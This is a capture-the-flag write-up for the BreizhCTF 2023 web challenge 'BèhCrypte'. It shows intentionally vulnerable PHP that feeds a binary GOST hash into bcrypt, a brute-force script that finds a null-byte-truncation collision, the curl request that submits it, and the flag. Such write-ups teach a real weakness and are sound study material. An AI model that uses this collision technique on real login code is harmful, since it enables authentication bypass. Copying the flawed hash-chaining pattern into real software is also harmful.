BreizhCTF 2023 - BèhCrypte
Challenge details
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| BreizhCTF 2023 | BèhCrypte | Web | ??? | ??? |

Author: Zeecka
TL;DR
The application is a very minimalist php script that displays its own source code. The vulnerability to exploit lies in the handling of strings, and in particular nullbytes, when using bcrypt. Indeed, using the hash() function with its third parameter set to true allows retrieving an initial gost hash in its binary form rather than hexadecimal, thus introducing the possibility of having a string containing nullbytes. This string is then passed to a second hashing algorithm, bcrypt, through the password_hash() and password_verify() functions. Using a nullbyte in the string passed to bcrypt causes the string in question to be truncated. The initial hash has a nullbyte at the start of its string, making collisions easier to obtain.
Methodology
Opening the application lets us retrieve a minimalist piece of PHP code:
<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⣶⠶⢶⡶⠶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⠶⡶⠶⢶⣶⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⠟⠋⠛⠻⢦⣙⢿⣟⢃⣀⠈⠙⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡟⠋⢀⣀⠛⣷⣿⣥⠾⠛⠛⠛⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀⢀⣠⣤⣽⣷⣿⣏⣁⣤⠀⠘⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠟⠀⢀⣄⣉⣿⣷⣿⣥⣤⣄⠀⠀⠀⠈⠻⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣄⣀⣀⣤⠴⠟⠁⣀⣠⡴⠖⠛⠉⠀⠀⠀⠈⠉⢿⡍⢀⣀⡀⠸⣧⠀⠀⠀⠀⠀⠀⠀⢰⡟⠀⣀⣀⠈⣽⠟⠁⠀⠀⠀⠉⠙⠻⠶⣤⣀⡈⠙⠳⢦⣄⣀⣀⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠉⠛⠛⠓⠚⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⠋⠉⠀⠀⢹⡆⠀⠀⠀⠀⠀⠀⣾⠁⠀⠈⠉⢻⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠒⠚⠛⠋⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡶⠋⠙⠷⠾⣿⠀⠀⠀⠀⠀⢰⡇⠲⠛⠙⠳⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣷⠞⠛⠷⠤⢿⡇⠀⠀⠀⠀⣿⠧⠴⠞⠳⢶⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣤⠶⣤⣀⣠⣇⠀⠀⠀⢰⣿⣀⣠⡴⣦⣾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣇⣀⡀⠉⠉⣿⡀⠀⠀⢸⡋⠉⠁⣀⣀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡏⢀⣙⠛⠚⢻⡇⠀⠀⡾⠓⠖⢛⡁⠈⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠛⠉⠙⠲⢾⣧⠀⣰⣷⠖⠛⠋⠉⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⡤⠶⠞⠛⣻⠟⠛⠻⢿⣦⡀⠀⠀⠈⠉⠁⠀⠀⠀⣠⣴⠾⠛⠛⢿⡛⠻⠶⢦⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⠶⠶⢤⣤⣴⡟⠋⠉⠀⠀⠀⢸⡏⠀⠀⠀⠀⠹⣟⠳⣦⣤⣄⣤⣤⠶⢺⡟⠁⠀⠀⠀⢸⡷⠀⠀⠀⠈⠉⠛⣷⣤⣤⠴⠶⣦⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢰⡟⡀⠀⠀⠀⣴⠟⠋⠛⠶⢦⣄⣀⣠⣿⣤⣄⡀⠀⠀⠸⣦⠀⠀⠀⠀⠀⢠⡟⠁⠀⠀⣀⣤⣼⣧⣤⣠⣤⠴⠞⠋⠛⢷⡄⠀⠀⠀⠈⣷⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠻⣦⣀⠀⠀⠻⠦⠤⠤⠶⠚⢛⣭⠾⣿⣿⢬⡹⣦⠀⠀⢿⡆⠀⠀⠀⠀⣾⠃⠀⢠⣞⣯⣤⣽⡿⢮⣙⠛⠲⠦⠤⠤⠞⠃⠀⢀⣤⡾⠋⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠓⠲⠦⠤⠴⠶⠒⠛⠋⠁⠀⠙⣿⣾⠿⣽⡆⠀⠸⡇⠀⠀⠀⠀⣿⠀⠀⣿⡿⢷⣿⠟⠀⠀⠉⠛⠒⠶⠦⠴⠴⠶⠒⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡏⠻⠿⣷⠀⠀⡇⠀⠀⠀⠐⡇⠀⢸⠻⠟⠋⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⢹⡄⢠⡇⠀⠀⠀⠀⣿⠀⢸⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣆⠀⢸⡇⣸⠃⠀⠀⠀⠀⢿⡀⣸⠀⢀⣼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣄⠸⣧⡿⠀⠀⠀⠀⠀⠘⣷⡟⠀⡾⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⠀⣸⠃⣴⠄⠀⠀⢠⡀⢿⡄⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣇⡟⠀⣯⠀⠀⠀⢸⣇⢸⡇⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⡇⠘⢿⣧⡀⣰⣿⠟⢸⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⡀⠀⠉⠛⠋⠁⠀⣸⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡻⢦⣀⠀⢀⣠⢾⣻⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠺⢿⣄⣉⣙⣋⣠⡾⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠙⣿⡏⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣴⡟⣇⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⡿⣶⡿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
include('flag.php');
$banned_secret = 'BreizhCTF-2023-pwd-702';
$stored_hash = password_hash(hash('gost', $banned_secret, true), PASSWORD_BCRYPT);
if (isset($_POST['flag']) && $_POST['flag'] != $banned_secret){
if (password_verify(hash('gost', $_POST['flag'], true), $stored_hash)){
echo($flag);
exit();
}
die("Erreur !");
}
highlight_file(__FILE__);
?>
Reading the PHP code lets us identify the following points:
- To display the flag:
- A
flagparameter must be passed in aPOSTrequest and be different from the stringBreizhCTF-2023-pwd-702; - The
password_verify()function comparing an original hash with the user input must be satisfied;
- A
- The original hash is derived from the string
BreizhCTF-2023-pwd-702, and the same derivation is applied to the submittedflagparameter. - The derivation is based on an initial
gosthash via thehash('gost', $val, true)function, then on abcrypthash via thepassword_hash($val, PASSWORD_BCRYPT)function;
Some research on the password_verify() function leads us to discover the risk associated with using bcrypt and password_verify(), particularly when nullbytes are present.
Although it is barely possible for a user to send a nullbyte directly to the PHP engine, using the hash() function with its binary = true parameter allows generating such characters. In line with our research, strings containing a nullbyte are truncated when used with bcrypt, and therefore allow collisions.
Just as in the exploitation examples available on the internet, the source code uses the hash() function with its third parameter (binary) set to true. To check whether the initial hash contains a nullbyte, we simply recompute it in its hexadecimal form (rather than binary).
<?php
print(hash('gost', 'BreizhCTF-2023-pwd-702', false);
?>
d4001341e5a7606f10f09b33bfa5248e65eb70b8defe704d6095234d1264e0a5
We do indeed have a nullbyte starting at the second character (00). So, in order to solve the challenge, we need to find a ghost hash starting with the byte 0xd4 followed by a nullbyte (in other words, whose hexadecimal starts with d400). The rest of the string will be truncated by bcrypt, and the condition will be satisfied.
Writing a bruteforce script that reuses the challenge’s php functions lets us generate such a hash:
<?php
$i = 0;
while(true){
$pass = "$i";
$h = hash('gost', $pass);
// Pour rappel hash('ghost', 'BreizhCTF-2023-pwd-702'); = d4001341e5a7606f10f09b33bfa5248e65eb70b8defe704d6095234d1264e0a5
if ($h[0] == 'd' && $h[1] == '4' &&
$h[2] == '0' && $h[3] == '0'){
print("Le mot de passe $pass donne le hash gost suivant:");
print("\n");
print("$h\n");
return;
}
$i++;
}
?>
$ php -f script.php
Le mot de passe 88292 donne le hash gost suivant:
d4005e1329be36faa0ef66cdf5cc069edff34f6cc6032a06c95d2d85601b3875
We can now submit our flag parameter using the following curl request:
$ curl -X POST -d "flag=88292" https://behcrypte.ctf.bzh/
BZHCTF{who_you_gonna_call?_GOAT_BUTTER!!}
Flag
BZHCTF{who_you_gonna_call?_GOAT_BUTTER!!}
Author: Zeecka